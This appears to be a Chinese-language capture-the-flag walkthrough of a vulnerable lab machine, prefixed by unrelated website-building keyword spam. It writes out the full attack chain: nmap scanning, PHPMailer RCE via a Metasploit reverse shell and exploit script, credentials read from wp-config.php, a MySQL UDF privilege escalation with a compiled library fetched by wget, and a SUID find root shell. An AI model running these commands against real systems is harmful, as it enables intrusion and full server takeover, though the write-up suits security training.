大连品牌官网建站,湖南企业网站制作公司,wordpress 静态规则,手机网站 广告1. 信息收集
1.1 主机探测
sudo arp-scan -l1.2 端口扫描
nmap -p- -A 192.168.16.185开放了80端口#xff0c;尝试登录网址查看信息#xff0c;通过浏览器插件找出指纹 1.3 目录扫描 访问登录界面#xff0c;发现remember Me怀疑是shiro界面 登录/vendor/界面#xff0…1. 信息收集
1.1 主机探测
sudo arp-scan -l1.2 端口扫描
nmap -p- -A 192.168.16.185开放了80端口尝试登录网址查看信息通过浏览器插件找出指纹 1.3 目录扫描 访问登录界面发现remember Me怀疑是shiro界面 登录/vendor/界面查看信息 获得flag1和网站的绝对路径 经查找发现PHPMailer 5.2.18版本存在安全漏洞可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码远程控制目标web应用
2. 漏洞利用
2.1 msfconsole
搜索漏洞 使用可用目标0查看需要设置什么
按照需求配置参数先配置靶机的IP和邮箱功能页面和绝对路径在查看设置可以发现kali反弹shell的IP是本机IP optionsset RHOSTS 192.168.16.185 #靶机地址set TARGETURI /contact.php #邮件功能页面set WEB_ROOT /var/www/html #网站绝对路径set payload php/meterpreter/reverse_tcp #设置payloadset LHOST 192.168.16.176 #kali地址runsearchsploit phpmailer脚本需要进行一些修改需要知道网站的绝对路径能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径 python3 ./40974.py运行脚本后使用攻击机监听4444端口
nc -lvvp 4444访问http://192.168.16.185/dayu.php就会获得反弹shell 使用find命令搜索一下flag文件得到flag2和flag3
find / -name *flag* 2/dev/null获得交互式的shell
python -c import pty; pty.spawn(/bin/bash)在网站根目录下查看数据库配置文件
cd /var/www/html/
ls
cd wordpress
ls
cat wp-config.php2.2 数据库UDF提权
登录数据库
user:root
password:Rv3nSecuritymysql -uroot -pRv3nSecurity尝试mysql的udf提权
udf user defined function’即‘用户自定义函数’。
通过添加新函数对MYSQL的功能进行扩充性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中存在于‘mysql/lib/plugin’目录下文件后缀为‘.dll’常用c语言编写。提权思路
将udf文件放到指定位置Mysql5.1放在Mysql根目录的lib\plugin文件夹下从udf文件中引入自定义函数(user defined function)执行自定义函数
查看secure_file_prive
查看是否满足写入权限secure_file_prive是否为空
show global variables like secur%;查看插件目录
show variables like %plugin%;查看是否存在远程登录
use mysql
select user,host from user;没有远程登录 只允许本地登录所以不能使用msf进行提权了使用searchsploit查看漏洞脚本
searchsploit mysql udf找到提权的脚本将1518移动到桌面并对c文件进行编译
编译命令
gcc -g -c /home/ycx/Desktop/1518.c
gcc -g -shared -o 1518.so 1518.o -lcpython开启http服务
python -m http.server 8888靶机的shell终端进行文件下载 要在/tmp目录下载
cd /tmp
wget http://192.168.16.132:8888/1518.so再次登录数据库并使用以下命令创建自定义函数
# 连接mysql数据库
mysql -uroot -pRv3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file(/tmp/1518.so));
# 导出1518.so
select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so;
# 创建do_system自定义函数
create function do_system returns integer soname 1518.so;
# 调用do_system函数给find命令所有者的suid权限使其执行root
select do_system(chmod us /usr/bin/find);
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system
select * from mysql.func;在tmp目录下利用find命令执行whoami发现当前权限是root权限使用find命令获取root权限的shell
touch 11
find 11 -exec whoami \;
find 11 -exec /bin/sh \;